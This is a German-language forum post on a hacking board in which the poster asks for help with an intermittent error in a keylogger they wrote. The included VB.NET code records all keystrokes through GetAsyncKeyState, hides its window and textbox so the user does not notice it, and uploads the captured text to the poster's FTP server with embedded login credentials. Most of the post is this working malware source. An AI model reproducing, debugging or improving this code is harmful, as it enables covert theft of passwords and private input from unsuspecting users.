Hallo members von free-hack,
ich habe letztens aus langeweile einen keylogger programmiert.
das programm schreibt alle tastaturaktivitäten die der benutzer macht in eine textbox und sendet dann den inhalt der textbox an meinen FTP server.
natürlich ist die textbox unvisible und die form auch.
alles funktioniert eig nur hin und wieder erscheint folgende fehlermeldung:

und ich versetehe einfach nicht warum. könnt ihr mir helfen?
hier ist der code dazu:
Code:
Public Class Form1

    Private Declare Function GetAsyncKeyState Lib "user32" (ByVal vkey As Integer) As Integer

    Public Function getkeypress() As Integer

        For i As Integer = 1 To 255
            If GetAsyncKeyState(i) = -32767 Then
                Return i
            End If
        Next i
    End Function

    Private Sub Form1_Load(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles MyBase.Load

        Timer1.Enabled = True
        Me.Opacity = 0
        TextBox1.Visible = False
    End Sub

    Private Sub Timer1_Tick(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Timer1.Tick

        Dim key As Integer = getkeypress()
        If key <> 0 Then

            TextBox1.Text = TextBox1.Text + CStr(Chr(key))
        Else : End If

        If TextBox1.TextLength >= 5 Then
            Timer2.Enabled = True
        End If
    End Sub

    Private Sub Timer2_Tick(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Timer2.Tick

        Dim wcl As New Net.WebClient
        wcl.Credentials = New Net.NetworkCredential("USERNAME", "*****")
        wcl.UploadString("ftp://ftp.USERNAME.fu.funpic.de/LOG.txt", TextBox1.Text)
    End Sub
End Class